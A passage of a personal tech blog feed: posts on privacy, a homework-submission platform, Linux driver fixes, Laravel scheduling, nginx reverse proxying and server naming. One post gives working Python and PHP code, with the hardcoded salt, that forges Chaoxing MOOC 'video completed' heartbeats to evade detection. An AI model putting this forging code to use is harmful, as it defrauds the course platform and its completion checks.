然而除了这些之外其实还有很多的地方是不可信任的,或者说是可以把你的隐私信息暴露给不应该暴露的地方的,就比如你在 QQ 空间中随意发的一张在阳台上的自拍好了,暴露了多少信息各位读者可以自行估量…
总有一天,会有一个人进入你的空间看完你所有的说说,读完你人人上的所有状态,翻完你所有的微博。因为他知道参加不了你以前的生活,但他想更好的进入你现在和以后的生活,因为爱你,所以会补齐他不曾参与过的你的过去,他坚信,时间会告诉你,谁会一直爱你…
简单来看其实我们并没有什么是可以相信的了,各个社交平台上的主动隐私泄漏,注册的网站被爆库的被动泄漏 (挡都挡不住),这个世界上恶意的东西实在太多太多,如果为每个威胁都配置一个防御方案的话,操作起来太累,人也容易精分,不如反其道而行之,看看我们能相信什么,剩余的不能相信部分的使用一个同一个规则应对。
我们能相信谁呢?或者说,我们把个人信息主动放在哪些地方不会被泄漏出去呢? 要知道绝对的安全是不存在的,所以我们可以根据泄漏的概率对这些泄漏源进行划分:
但是如果仅仅这么说的话其实是没有任何可操作能力的,因为如果想按照以上分类将自己的信息依次给出的话,前提是我们的信息目前仅仅在自己手中,而作为一个经常访问互联网的人我们一定 ** 已经留下了 ** 许多个人信息,换言之,攻击面异常地广,这个时候我们就能看到网上一些建议比如删掉各种信息和注销账号之类的建议了,但在此之前我们最好整理出一个威胁模型 (Threat Model) 出来,这样可以系统地完成隐私信息的回收和保护。
出于篇幅和文章专一性的考虑,建立威胁模型的内容将在之后的文章中给出。
]]>YunLoad 从 2017 年 12 月开始构建,第一个版本发布于 2018 年 2 月 18 日。作为一个统一的作业提交平台,旨在将作业的提交过程便捷化,减少教师和同学在专有平台提交作业时不得不面对的繁琐步骤,缓解文件庞杂错乱等问题。网站地址:https://yunload.org
YunLoad 想法并不是空穴来风,或者像某些对校申报的创新项目那样无病呻吟,而是一个在我所处的学校的一个十分现实的任务——作业提交和管理。到了大学以后才发现我们的大把时间可以被用于完成各类实验报告和作业,而这么大量的实验报告在我校并没有一个可用的提交 / 管理平台来处理,大量的文件在各式各样的通讯媒介(包括但不限于:U 盘,QQ,邮箱等)中传递,其中 U 盘用起来麻烦最大,抄袭概率高, 运气好的话还能附带一个病毒 ,QQ 传输混乱,邮箱对于收取作业的教师而言无论是在统计上抑或是快速收取上都非常麻烦。
在 YunLoad 之前我曾经写过一个简陋但是实用的小工具被称为 AreaLoad,AreaLoad 是我自学 PHP 之后的第一个应用,大概也是我写的用到了传统动态网页开发栈(SQLite,PHP,BootStrap)的第一个应用,AreaLoad 的想法来源是一位老师的 NodeJS 作业提交接口,在一个偶然的机会发现这个潜在的需求后便萌生了写一个稍微更加好用点的框架的想法,在和 Allen Lau 分工合作 2 周后,一个看上去可以用的 AreaLoad 出来了,虽然当时的 AreaLoad 非常简陋且扩展性几乎为 0,但是在实际的应用场景中起到了实际性的作用,把一些本来可能需要一个下午统计 / 整理的工作缩短为 5 分钟的部署和 20 分钟的统计 / 收取,且不说起到了较大的成效吧,至少 It works.
在 AreaLoad 的使用过程中有老师提出我们应该加入用户验证 / 登录和统一的统计系统,而不是每次收取完成后直接重置整个提交项目等,考虑到 AreaLoad 的高不可拓展性,我便萌生了重构 AreaLoad 的想法,由于有了部分 PHP 的经验,我选择了 Laravel 框架一边学一边尝试写一个更加能用的作业提交框架。
YunLoad 的想法开始于 17 年 12 月的时候,应该是快到寒假的时候,利用闲暇时间开始了 YunLoad 的搭建(此处应有最初的截图的… 找不到了).

其实本来我是想过找几个伙伴一起来完成 YunLoad 的,但是从最初的平淡地不做指望(周边朋友做的方向不一样),到中间找到的潜在合作伙伴时的兴奋和期望到最后发现其实完全不靠谱的失望,以至于 YunLoad 项目的几乎所有工作(架构 / 编码 / 测试 / 部署 /“售后”)基本都落在了我自己的头上,YunLoad 记录了我对于 “合作伙伴” 的定义的改变,稍微归纳如下:

从 YunLoad 诞生到现在将近 6 个月来有许多人问过我为什么这个项目的名称由拼音和英文拼凑在一起,不符合常规命名逻辑,由于涉及到的事情较为复杂,之前一直没想好如何合理表述,所以一直没有给出过一个来自创造者的表述,现尝试描述如下:这个问题分两部分,后缀 Load,这个是在当时设计 AreaLoad 时定下的主基调,之后的衍生项目均会以 Load 结尾。关于前面的 Yun,当时想到这个名字的时候有点双关的意思,一是传统的 ** 云(服务商)** 的概念,而另一个则是 ** 芸 **——一个同学(同专业,以下简称 “YunYun”)名字的最后一个字,YunYun 的优雅和漂亮吸引了我,而当时的 AreaLoad 正是因为设计的极其简陋和笨拙才有的设计新的优雅的平台的想法,便将这个项目以她的名字命名,第一个发布日定为她的生日(截至本文发布时,我还没有收到相关名称侵权律师函 2333).
不过可能令读者们失望 (或者高兴?) 的是,即便如此(这个短句不要理解成:为了她而开发的这个平台。仅仅是命名),我和她的故事并没有后续,在几次合作的不愉快后渐感人与人之间的想法差异太大,现在也联系的少了。
从 YunLoad 具体的开发角度来看,有的时候直接重构一个 “产品” 远远比在原有结构混乱的代码上进行修改要来的更加容易,基于 Laravel 的 YunLoad 完全按照 RESTful 的模式设计路由,用了 MVC 的设计理念使得前后端可以稍微分离一些(现在回顾当时的 AreaLoad,页面逻辑代码和样式全部混在一起,非常有意思),在开发过程中学到的设计模式可能甚至比实际开发出来的成果对于个人的提升而言更加有帮助。 期间也随着自己的想法和老师建议参加过一些项目 / 比赛,只不过结果不怎么好罢了,无意评判他人,也许真的是我自己做(吹)的不够吧…
相比较开发而言,可能 YunLoad 遇到的最大的挑战在于维护,YunLoad 目前有多个后端应用服务器,这没问题,但是出于数据安全考虑这些后端服务器全部位于欧洲国家,这样对于主要访问者(自己学校内学生)直接访问后端服务器而言就十分不友好,动辄 400+ms 的延迟让许多用户反馈访问速度太慢,而且最初使用的 DNS 轮询负载均衡的方式也使得任一后端掉线都对运维是一个挑战。 为了加快大陆的访问速度,YunLoad 被配置了 GCP 台湾服务器的反向代理,延迟瞬间降至 50~70ms 内,这一开始也没问题,但是随着各种事情的发生,GCP 在大陆的丢包率可以达到可笑的 80%,这样的丢包率对于用户而言便是 “YunLoad 又打不开了”…

目前使用 GCP 在美国的服务器作为反向代理,稍微兼顾了一下网络稳定性和访问速度,暂时还没出现过大的问题,日后可能会考虑将服务迁移至国内以应对各种 “网络异常波动”,毕竟用户还是最重要的。
说到用户,我十分感谢 YunLoad 最初投入试运行时第一个同意使用这个平台的的王老师,由于 YunLoad 面向的就是教师和学生之间的作业提交问题,老师的加入意味着我就直接获得了所有的学生用户,首先是我们专业的 4 个班,慢慢地,另一位王老师加入又给平台带来了其他学院 3 个班,随后同专业低一年级的两个班也在班长的带动下加入了进来,看到注册用户的慢慢攀升和平台处理提交数的提升,除了对于缓存服务器的担心以外,这个应该是整个项目中最让我欣慰的一部分了——自己写的东西可以被投入运行,可以实际落地给这个学校、这个世界带来一点微小的贡献,一本满足!

尽管 YunLoad 目前已经是一个比较高可扩展的框架,但是可以预料到的是 YunLoad 如果仅仅保持现在的功能和设定的话,除了在自己的学校以外是没有任何落地能力的(更别提竞争能力了),但是一旦 YunLoad 可以变为一个全功能的平台的话(到那个时候一定会是开源的),我想,高校内文件传输和管理的格局会有一个大的变化(应该不会是个 Flag).
当然,仅仅靠我一个人继续这样维持下去的话,恐怕前者发生的概率较大,YunLoad 目前还是需要一些开发者对其进行改进和功能升级,如果你熟悉 YunLoad 的技术栈(Laravel-Python-MySQL-Redis)且希望能见证一个开源的全功能平台的兴起的话,我非常欢迎你的加入!
YunLoad 的开发历程中,十分感谢以下同学 / 老师给予我的指导和支持(排名不分先后,优先使用网名,若没有则使用拼音,名前姓后):
Recently one of my friends has bought a ThinkPad X1 Carbon 5Gen on TaoBao and found that the Network controller might has been altered by the seller. He found this problem after the installation of Fedora 27 and found the wireless function “is gone”(in his word), so he came to me to seek help.

The technical specification on the Lenovo Website shows that that X1 Carbon should come with Intel Wirelesss card, while his ThinkPad is shipped with RealTek RTL8821CE.

lspciinfo

It’s obvious that this laptop has been tampered by the seller, the current problem is how to fix this broken driver problem. I’ve tried dnf update to update the system with latest packages and kernel 4.16, the problem still remained. So I tried a method introduced by a blog on CSDN which successfully solved this problem, at least with the current kernel.
The key problem for this is the lack of drivers, the repository endlessm/linux come with the sufficient driver for RTL8821CE. The directory for that is linux/drivers/net/wireless/rtl8821ce/, after obtaining the files we need to cd into that directory and change the line with
export TopDIR ?= ...
to the files path, in my case its /home/user/rtl8821ce so it’s
export TopDIR ?= /home/user/rtl8821ce
Be sure you have installed
build-essentialpackage group to continue.
Then we just need to
make
sudo make install
sudo modprobe -a 8821ce
and the problem should be solved right away, though it’s not clear what might happen after the upgrade of kernel in the future, the long-term way should be change the Wireless card ASAP.
Update: This module needs to be compiled each time on Kernel upgradation.
Update 2: Thanks for a comment by Farran, there seems a way to avoid the compiling for each Kernel upgradation, as the link he suggests: https://github.com/abperiasamy/rtl8812AU_8821AU_linux/issues/84#issuecomment-193326057.
It’s weird that the US Edition of X1 Carbon can have the price difference of around 300$ with the Chinese Edition, and this is the key reason that many of the Chinese customers choose to buy ThinkPad from US rather than China. Many TaoBao Sellers claim the laptop is from US, which is true, but they changed the changeable components to cheaper ones to gain more interest is quite annoyning.
When there is the chance to tamper with customers, there should be people doing this. If you need a ThinkPad X1 Carbon, the cheapest way for Chinese customer might be buying the American Edition directly, since this may need a private US billing address, lots to them goes to TaoBao for it, but after this incident, I personally cannot trust TaoBao anymore.
1.Thinkpad E470C(集成网卡 rlt8111/8618/8411 系列) 无线网卡 rtl8821CE 系列 安装 ubuntu 和 win10 双系统没有无线网问题 - CSDN 博客
]]>作为计划任务,我们需要的是 command(而不是网上说的 console),相关命令如下:
$ php artisan make:command CheckDeadline
此时会在 /app/Console/Commands/ 下创建一个 CheckDeadline.php 文件,我们需要在这个文件的 handle 函数中定义我们的需要的操作,如果代码设计 Model 操作的话需要在文件顶部声明(本例中需要 use Carbon\Carbon),部分代码如下:
...
protected $signature = 'CheckDeadline:checkdeadline';// Define the Command name
...
public function handle()
{
// Get the non-ended courses as $courses array
foreach($courses as $course){
// $dl for Parse the course setted deadline
if($dl->isPast()){
// Mark the Course ended, update database...
$this->info('Course'.$course->id.'hitted deadline, ended.');
}
}
}
在 /app/Console/Kernel.php 中注册这个 Commmand,部分代码如下:
protected $commands = ['\App\Console\Commands\CheckDeadline',];
protected function schedule(Schedule $schedule)
{$schedule->command('checkdeadline')->daily();}
其中 daily() 表示每天凌晨执行,更多频率关键词可以参考 官方文档.
写好了之后我们测试一下:
➜ php artisan CheckDeadline:checkdeadline
Course 6 hitted deadline, ended.
Course 13 hitted deadline, ended.
跑起来了,看来没问题,我们把代码部署到服务器上面去并让他自己定期跑~
在部署好了相关文件后我们需要用 Linux 的 crontab 定期拉起 Laravel 来让 artisan 去执行我们的计划任务,新建个计划任务,然后如下编写:
* * * * * php /path-to-your-project/artisan schedule:run >> /dev/null 2>&1
需要注意的是,这里的 PHP 需要写绝对路径,如果不清楚的话建议先 whereis php 之后确认一下,比如我本地实验环境:
➜ whereis php
php: /usr/bin/php /usr/lib64/php /etc/php.ini /etc/php.d /usr/share/php /usr/share/man/man1/php.1.gz
➜ /usr/bin/php --version
PHP 7.1.16 (cli) (built: Mar 28 2018 07:11:55) (NTS)
...
那就需要写成(假设项目在 / var/www/yunload 下)
* * * * * /usr/bin/php /var/www/yunload/artisan schedule:run >> /dev/null 2>&1
2018-05-30 更新:似乎按照上面得写法 Laravel 调用的 command 时用的 artisan 不是绝对路径,这样会失败,目前我使用的方法如下:
@hourly /usr/bin/php /var/www/yunload/artisan CheckDeadline:checkdeadline >> /dev/null 2>&1
不过我有一个疑问,Wordpress 中可以定时自动发布文章,我们在安装 Wordpress 的时候并不需要利用系统的 crontab,那它们是如何实现的呢?或者说,为什么 Laravel 就必须要用系统 crontab 才能实现计划任务呢?
用户空间文件系统(Filesystem in Userspace,簡稱 FUSE)是一个面向类 Unix 计算机操作系统的软件接口,它使无特权的用户能够无需编辑内核代码而创建自己的文件系统。目前 Linux 通过内核模块对此进行支持。一些文件系统如 ZFS、glusterfs 和 lustre 使用 FUSE 实现.——Wikipedia
我们一般使用浏览器访问 GCP 的 Console,但是对于服务器而言,Google 提供了一套 SDK 用于身份验证和对 GCP 资源的操作。安装方式见:Quickstart for Linux
安装完成后 gcloud init

打开链接后登录自己的 Google 账户进行验证

有了 gcloud 并且成功登录自己账户后我们需要安装 Cloud Storage FUSE 来对 Storage 进行挂载。
安装教程参见 https://github.com/GoogleCloudPlatform/gcsfuse/blob/master/docs/installing.md
之后登录 GCP 去创建一个 Storage bucket.

创建好后使用 gcsfuse <Storage 的名字> <本地目录> 来进行挂载,要卸载的话 umount <本地目录> 就好了。
[root@destiny ~]# gcsfuse yunload yunload/
Using mount point: /root/yunload
Opening GCS connection...
Opening bucket...
Mounting file system...
File system has been successfully mounted.
这样就可以了,看看空间~
[root@destiny ~]# df -h
Filesystem Size Used Avail Use% Mounted on
udev 993M 0 993M 0% /dev
tmpfs 200M 35M 165M 18% /run
/dev/vda 46G 41G 4G 89% /
tmpfs 999M 0 999M 0% /dev/shm
tmpfs 999M 0 999M 0% /sys/fs/cgroup
tmpfs 200M 0 200M 0% /run/user/0
yunload 1.0P 0 1.0P 0% /root/yunload
[root@destiny ~]#
很早之前没有信用卡,购买域名和服务器都是通过 Alipay(CNY) -> Bitcoin(BTC) 的方式的方式购买,自然,可以选择的域名和服务器商就不多,比如托管 digitalnova.me 域名的 Namecheap 和 yunyun 服务器所在的 YourServer.se,一直以来对一些大型的服务商(比如 DO,Linode)就只好望洋兴叹,可望而不可及。
有了信用卡之后服务器方面租用了 Scaleway 的荷兰机器,内存 4G,一下子 Docker,Wordpress 都可以跑起来了,虽然官方说的是不限制流量且高速的访问,但毕竟是欧洲的服务器,在大陆地区的访问情况总是有点出乎意料,延迟普遍超过 350ms,如下图:

虽说荷兰的机器有着比较好的流量清洗设备,ASIC 硬件防火墙,但是其超慢的大陆访问速度总会影响到大部分用户。
关于域名,Namecheap 对于一些比较好记的单词域名似乎总是想保持自己占有,最初打算开博客的时候以 nova 为关键字搜索发现全部是 Make Offer 状态,哪怕对应的域名并没有被注册,只好选了个 digitalnova.me 这个域名暂时先用着。
最近在 Gandi.net 上面搜索 nova 时就发现了这个域名,果断买下,并打算长期使用。
由于 yunyun 服务器将于 2 月中旬到期,我新租用了一台台湾的服务器 (Void) 作为反向代理加速大陆地区的网站访问速度,经过一小段时间的调整,延迟方面已经可以做到大陆普遍小于 60ms,且网站速度方面目前的 ** 无缓存 ** 反向代理已经可以做到以下水平:

首先需要说明的是,部分人可能有个误区认为反向代理总是能提高网站响应速度或者 QPS,比如你用 Docker 搞了个官方的 Wordpress(内置了 Apache 服务器),这个时候在本机做一个 Nginx 反代其实并不会加速访问 (新的 HTTP 协议除外),这个时候的反代主要是用来配置策略和过滤流量使用的 (说到过滤流量,OpenResty 是不是一个更好的选择?).
而本站使用反向代理的原因是:大陆 -> 荷兰速度很慢,大陆 -> 台湾速度很快,台湾 -> 荷兰速度较快,所以大陆 -> 台湾 -> 荷兰就可以获得 ** 比较好 ** 的一个访问速度。
考虑反向代理的过程其实我还是想了一段时间,由于域名是一样的 (最终肯定都需要同一个域名),且服务器不在一个内网网段,所以并不能像网上许多教程教授的反代 Google(域名不一样),或者 IP + 端口的形式 (太不优雅).
最终稍加研究,得出以下可用 (目前看来还是不很优雅,仅仅是可用) 的反向代理方案,首先我的源服务器依然监听这个域名,Nginx 部分配置如下:
server {
listen 80;
listen [::]:80 http2;
server_name nova.moe;
...
index index.html;
}
在台湾服务器上有一个配置文件 proxy.conf 会被 Nginx 加载,文件内容如下:
proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
client_max_body_size 2000m;
client_body_buffer_size 128k;
proxy_connect_timeout 90;
proxy_send_timeout 90;
proxy_read_timeout 90;
proxy_buffers 32 4k;
台湾服务器上的 Nginx 反向代理设置如下,由于我的服务器都依靠 rDNS,且没有多个上游源,暂且就一个 proxy_pass 解决了事情:
server {
server_name nova.moe;
location / {proxy_pass http://destiny.n0vad3v.me;}
listen 443 ssl;
...
if ($scheme !="https") {return 301 https://$host$request_uri;}
}
为了尽可能少的影响到 SEO,我需要将原来的 URL 的流量给 301 过来,比如 digitalnova.me/about 需要被 301 到 nova.moe/about,这个时候需要在源站的 Server Block 上做一个策略规则,如下:
return 301 https://nova.moe$request_uri;
目前的网络结构设计达到了以下优点:
不过也有以下可能的问题,例如
Speed 虽然 Void 服务器在大陆访问比较快,但是在其他地方可能还是延迟较大,最终的希望能成为像 Leonax 那样的网络结构,或者至少往那个方向去靠拢吧,他的 AnyCast IP 可以做到全球延迟全部小于 50ms,看着就爽~ 要想让自己的网站能在全球范围内拥有更高的速度,目前我想到两个方案,一个是 Leonax 的 AnyCast IP 的方式,另一个是通过 DNS 负载均衡和分地区解析的方式,后者开销较少,我会优先考虑后者。
Half baked SSL
类似下图,用户到 Void 服务器的流量是加密的,但是 Void 到 Destiny 部分是没有加密的,虽然仅仅是博客,开一个 SSL 目前主要是装饰效果和防止 ISP 劫持(目前我还没去深究过 HTTP/2 的一些特性),不过这个可能是一个安全隐患。如果要解决这个问题的话我需要在两个服务器上都部署 SSL 证书,太过麻烦,暂时不想去折腾。

DNS 如上述配置,Void 服务器上的反向代理请求的是 Destiny 服务器的 rDNS 名称而非其对应 IP,这样在我迁移 Destiny 服务器到另一个 IP 时就只需要改一次 IP 了 (其它需要指向那台服务器的 DNS 都是 CNAME 记录),但是 Void 服务器所在机房的 DNS 是否不会被劫持,或者出现其他问题,这个还很难说。
IPv6 Void 服务器暂时还没有 IPv6 地址,不过我认为这个问题会比较快地被解决。
Pricing & Anti DDoS
Void 服务器使用的是 Google Cloud Platform,暂时还没有看到具体的防攻击和流量计价方式,不过听说往大陆的流量是 0.23$/GB,不清楚是否真实,有了解的朋友可以底下留言告知我以下. (别像 AWS 一样被 D 了一夜之间信用卡产生个 4000$ 的流量费就好 2333)
Cache 如前文所说,Void 服务器目前是 ** 无缓存 ** 反代,上了缓存之后可以虽然将速度进一步提升,潜在的问题是,如果源站更新了,该如何通知缓存刷新,这个是一个问题,或者仅仅缓存 CSS,JS 等文件?
TO 读者:本文仅从技术层面分享超星 MOOC 心跳包的实现原理,我不鼓励也不支持通过这个脚本或者我搭建的网站 (chaoxing.fun) 来进行逃课或刷课等行为,且我理解这次分享出来势必加速官方修复此问题,所以当你看到本文时可能这个方法已经不再起作用了。 TO 超星:无意冒犯,如有侵权,请 联系 我删除本文。
这个是一个比较早之前就实现的一个项目,不过由于担心收到超星方面的律师函,就一直没有在互联网上公开过,最近在回忆一次技术分享的时候又一次想到了这个,Google 查了一下发现还是有一些网友发布了相关教程。善意的推测这样做对超星官方没有损失,遂提取一部分来分享一下。由于相隔时间较长且做完 Demo 之后就再也没去用过,所以这里基本只讲我能回忆上来的重点部分。
单纯从 MOOC 视频页面源代码来看,我无法判断出超星对于视频是否播放完成的服务端反馈,但是通过数据包判断有心跳包的存在。
首先研究心跳包的组成,是一个 GET 请求,网址类似:https://mooc1-1.chaoxing.com/multimedia/log/17f2ce4e123456db326a1234564be8b6 ?otherInfo=nodeId_101234501&rt=0.9&userid=12345678&dtype=Video&clazzId=12345678&clipTime=0_1799&jobid=1504425996893136&duration=1799&objectId=a9f47a42b8e7f59f1234567c5b7ced33&view=pc&playingTime=1124&isdrag=3&enc=c9f8584360936c7b6752e19154f44ec7
拆分一下传入 param 大概有如下部分:
?otherInfo=nodeId_101234501
&rt=0.9
&userid=12345678
&clazzId=12345678
&clipTime=0_1799
&jobid=1504425996893136
&duration=1799
&objectId=a9f47a42b8e7f59f1234567c5b7ced33
&playingTime=1124
&enc=c9f8584360936c7b6752e19154f44ec7
服务端的返回为一个 json 数据:
isPassed: false
一些机智的小伙伴很快就会发现,那个 playingTime 对应的就是自己的播放时间,如果播放时间到了视频的最后时间的话,这个视频就通过了,于是开始改 URL 地址,但是发现无论怎么改返回的都是 false,这里直接猜测 enc 的作用就是服务端校验值,但是找遍了 JS 脚本都没有发现计算 enc 的部分,遂认为计算部分实现在他们自己的 Flash 播放器中。
通过对 Flash 播放器的逆向工程(其实就是随意在 BaiDu 上面找了一个 Flash 解包工具)可以发现在 4500 行(好像是这个)发现如下代码:
var loc2:*=(loc2 = loc2 +"&view=pc&playingTime="+ arg1 +"-"+ arg2) + "&isdrag=1";
loc5 = com.chaoxing.player.util.MD5.startMd("["+ arg4.clazzId +"]" + "["+ arg4.userid +"]" + "["+ arg4.jobid +"]" + "["+ arg4.objectId +"]" + "["+ arg2 * 1000 +"]" + "[d_yHJ!$pdA~5]" + "["+ int(arg4.duration) * 1000 + "]" + "["+ arg4.clipTime +"]");
loc2 = (loc2 = loc2 +"&enc="+ loc5).substring(1);
这样一来事情就很明了了,其本质就是一个字符串拼接加盐操作,而且盐居然还是硬编码在里面的,值为 d_yHJ!$pdA~5… 很有意思,所以只需要重新实现一遍 enc 计算算法并给出新的满足 enc 值的 URL 就可以骗过服务端提交伪造的 “视频已播放完” 的心跳包了。
import hashlib
import random
import math
import json
import sys
url = sys.argv[1]
temp = url.split('?')
jsonStr = '{"'+ temp[1].replace('=','":"').replace('&','","') +'"}'
js = json.loads(jsonStr)
time = js["duration"]
clazzId = js["clazzId"]
userid = js["userid"]
jobid = js["jobid"]
n = (int(time)-random.randint(1,10)) * 1000 # playing time minus a random value to avoid detection
clipTime = js["clipTime"]
duration = int(js["duration"]) * 1000
objectId = js["objectId"]
salt = "d_yHJ!$pdA~5"
pwdStr = "[%s][%s][%s][%s][%s][%s][%s][%s]" % (clazzId, userid, jobid, objectId, n, salt, duration, clipTime)
hashed = hashlib.md5(pwdStr.encode('utf-8'))
#js["playingTime"] = (int(time)-5)
js["playingTime"] = int(n/1000)
js["enc"] = hashed.hexdigest()
param = "?"
for j in js:
param += "%s=%s&" % (j,js[j])
url_new = temp[0] + param
print(url_new)
function cal($url){
#process url
$url = parse_url($url);
parse_str($url['query'], $array);
#update enc
$n = ($array['duration'] - rand(1,10)) * 1000;
$salt = 'd_yHJ!$pdA~5';
$duration = $array['duration'] * 1000;
$pwdStr = sprintf("[%s][%s][%s][%s][%s][%s][%s][%s]",
$array['clazzId'],
$array['userid'],
$array['jobid'],
$array['objectId'],
$n, $salt, $duration,
$array['clipTime']);
$array['enc'] = md5($pwdStr);
#update playing Time
$array['playingTime'] = floor($n/1000);
#make url
$query = http_build_query($array);
$url = sprintf("%s://%s%s?%s",$url['scheme'],$url['host'],$url['path'],$query);
return $url;
}
当然,如果你还嫌麻烦的话,可以试试我搭建的一个服务 chaoxing.nova.moe
]]>首先从我对学校的小圈子观察来看吧,如果学校的环境是一个微型的社会的话,那么可以推断出整个社会一直在朝着一个娱乐化和浮躁化的方向发展,记得之前看到阮一峰的一篇文件,叫做 《那些无用的人》,十分认同其中一段引用:
“未来,人类可能会分化为两个主要的等级:一个全新的更先进的精英阶级,很聪明,很富有,有更好的基因和更长的寿命;还有一个全新的一无用处的无产阶级,他们将越来越穷地等待死亡,可能变成没有工作、没有目标、整日靠吸毒度日、戴着 VR 头盔消磨时光的乌合之众.”
现在离考试还有半个月的时间,然而我们已经结课,经常听到有室友表示不知道该做什么了,我不想指责任何人,只是感觉这似乎折射出我们这一代的一个共性,引言中描述的未来离我们究竟有多远?我认为其实已经很快了。
如果有机会可以去大学寝室中走一走,就能发现很多同学开着直播,玩着游戏,一天天地过着。直播行业在近几年似乎和比特币一样十分泡沫,反映了观看直播的人数在上升,如果没有记错,如果是 3 年前的火车站,可能大多数人会通过手机看小说或者玩游戏,而现在则是大部分人在看游戏直播。直播主 / 网红等词汇频率的攀升更是反映了社会对于这一行当的一个关注和期待程度。反观引言,这些同学是不是和引言中描述的一无是处的人十分类似呢?
可能有人会说,是你自己学校太差了才会这样吧,无可否认,由于高考 “失利”,我进入了一个非 985 学校,如果按照排名的话,我们学校学生的现状应该出现在中国至少 80% 的高校中。这也意味着几年后的今天,社会上会有相当大一部分人有着和他们相同的共性,且不去讨论这个国家 / 民族的未来会变成怎么样,但是离引言中所描述的情况,真的不远了。
马上东 8 区就要到达 2018 年了,回想一年以前的事情还历历在目。说来有趣,已经写了半年多的 PHP 了,大一下学期的时候打爆了老师自己用 NodeJS 写的一个作业上传平台后便从零开始对 PHP 的摸索,本来给自己定位是:算法 / 安全 / 系统方向的我俨然改变了兴趣变成了:工程 / 架构 / 网络的发展思路,虽然现在编写 PHP 程序的技术依然十分不成熟,但是我可以明显感觉到我兴趣点的偏移,不知道是不是好事情。
唉,累了,不多说了,祝各位新年快乐!
]]>其实本质上这篇文章与黑莓 Passport 没啥关系,这种方法理论上适用于任何没有默认代理配置的设备,包括但不限于 iPhone,BlackBerry,主要讲的是如何合理利用 ss-redir 和 iptables 转发流量开启透明代理,方法很简单,我们速战速决!
本文只适用于 Linux,Windows 用户可以参考 这篇文章(唉,我也不知道是谁抄袭的谁的,将就看吧)
创建个配置文件 (.json 格式),和 sslocal 的差不多,文件内容类似下方格式:
{
"server": "< 你的 $$ 服务器 IP>",
"server_port": <你的 $$ 服务器端口>,
"local_address": "0.0.0.0",
"local_port": <本地一个随意端口,比如 9802 好了>,
"password":"<你的 $$ 服务器密码>",
"method":"<加密方式,chacha20,aes-256-cfb 那些>"
}
然后 ss-redir -c <上面配置文件的文件名> 让代理保持开着,如果不想一直保持终端开着的话可以用 -d start 后台运行。
GNOME 用户直接使用网络管理工具开启热点即可,默认会创建一个 10.42.0.1/16 网段,本机 IP:10.42.0.1,其余连入的设备都会在这个段下。
如果不是 GNOME 用户的话,用 nmcli,具体方法自行 Google.

创建个 sh 脚本,内容如下:
#!/bin/bash
iptables -t nat -A PREROUTING -p tcp -s 10.42.0.0/16 -j REDIRECT --to-ports <刚刚我们随意写的那个端口,9988>
iptables -t nat -A OUTPUT -d 127.0.0.0/24 -j RETURN
然后执行这个脚本即可~ 现在让 BlackBerry Passport 连接上热点,访问下 Google 试试?

原因其实挺简单的,最直接的理由就是自己的同学记不住服务器的 IP 地址,这样标记了过后可以方便记忆(正向解析). 其次是参考了一些互联网大厂对自己基础设施的命名规范,觉得不能让自己手中的 “基础设施” 乱哄哄的,全是一堆不连续的 IP 地址构成。
这两个名字应该是从本学期开始的时候就在考虑了,直到最近才定下来,为什么是这样两个名字(destiny 和 yunyun)后面再讲,我们先来看看其他人是如何给自己的服务器命名的。
这类人可能比较懒或者可能没想过这些,反正买个 VPS 跑个 $$ 或者跑个个人博客,一般不需要调别的东西,买来 VPS 会默认有一个 Hostname,所以一般我们看到他们的机器的 rDNS 可能如下:
昂,好吧,下一个
这类应该是比较传统的命名规则,比如某两个 YouTube 服务器的地址是:
这里且不去讨论 YouTube 是否使用了 Anycast 技术或者其他的 CDN,这样的地址比较明确地反映出对应服务器的具体情况,比如第一条就应该是 lga 数据中心内 34 号区域,第 13 节点(瞎猜的~). 查阅了一下 ServerDensity 的一篇博客 后发现他们的命名规则是:
表示:cluster3 用途(对于他们而言是消息推送),web 服务器,位于 San Jose,SoftLayer 机房,十分清楚明了不是么,对于超大量的服务器集群管理而言,除了自动化的工具以外,这样清楚的服务器命名架构可以服务器出现故障时帮助你快速定位故障服务器位置。
类似的还有:
这类。
当然,这样的命名方法对于我们小规模服务器(服务器 < 10)管理而言并不适用,名字太长,不好记忆。
这类命名方法和给孩子起名类似,可以根据服务器的性质或者随意选择一个名字作为服务器的 Hostname,并且使用一个域名对其进行解析,也是目前我使用的方法,这种方法适合小规模服务器群。
比如 riseup.net 的服务器:
Autistici/Inventati:
MIT PGP:
比较简单的挑名字的方法就是通过 Random Name Generator 生成一个,或者根据你自己的背景 yunyun 来命名。
Destiny 运行于 Online.net 旗下的 Scaleway 上面,是一个新的服务器,配置比较足,destiny 寄予着我对这台服务器未来负载的希望。
yunyun 运行于 Makonix SIA,去年开始使用 BTC 租用,配置较为一般且将会在 18 年年初过期,** 刚开始租用时比较看好 , 随着对其探索的深入 ,越发感觉其提供虚拟化方式(OpenVZ) 无法满足作为生产环境使用的需求 **,遂 ** 不打算继续续费 **,至于对应到真实人物有什么联系?哈哈,我已经说的很明确了~
本文用于记录我对一些服务器 rDNS/Hostname 的一些探索,并非一个完整的 How-To,由于看到中文互联网圈子中少有类似的文章,便记录成文以分享,同时十分欢迎更好的关于服务器命名的建议 / 经验!
]]>Older rubber dome keyboards often feel better than the cheap ones from China today.
网上找不到相关键盘的完整介绍,拆自 HP 某 KeyServer,来源是我的老师(借的,当然~)
使用手感和 HHKB 很相似,虽然这个键盘的是薄膜键盘,但是可能是因为出产的比较早的缘故,现在用起来依然十分厚实,键程和 HHKB 类似,但是下压力度需要更大一些,触发点和传统薄膜键盘类似。

宽度几乎是我的 HHKB Pro2 的两倍。

年轻的 Nova 在为语音楼计算机教室配置网络的时候,由于配置失误,所有的计算机都无法访问到网络,挑了几台计算机 ipconfig 了一下发现清一色的都是 169.254 开头的 IP,且做 tracert 的时候全部断在第一跳,于是我在未经求证的情况下武断的认为:在 Windows 系统下,所有没有分配到 IP 的计算机不会像 Linux 一样不显示 IP,而是显示成 169.254 开头的一个 IP.
在程序设计大赛团队赛 打酱油 的时候,老师在投影上给出了 pc2server 的 IP 地址竟然也是一个 169.254 的 IP 地址.“机智的我” 一下子就看出了 “其中的问题”,并立刻举起了手向全班宣布了这个 IP 是个不可达的 IP 的消息,老师倒也不惊讶,淡淡地说道:我刚刚测试的一台电脑是可以连接的,你那边是不是网线没插上?
不行,我必须解释这一切,说着我打开了 cmd 开始一边输入 ping 《那个 IP 地址》 一边解释这个 IP 是微软的系统在没有分到 IP 的时候自动给自己分的一… 话还没说完,ping 的结果就出来了,4 个包全部到达,延迟 < 1ms.
“哦哦,没问题,了,老师…”
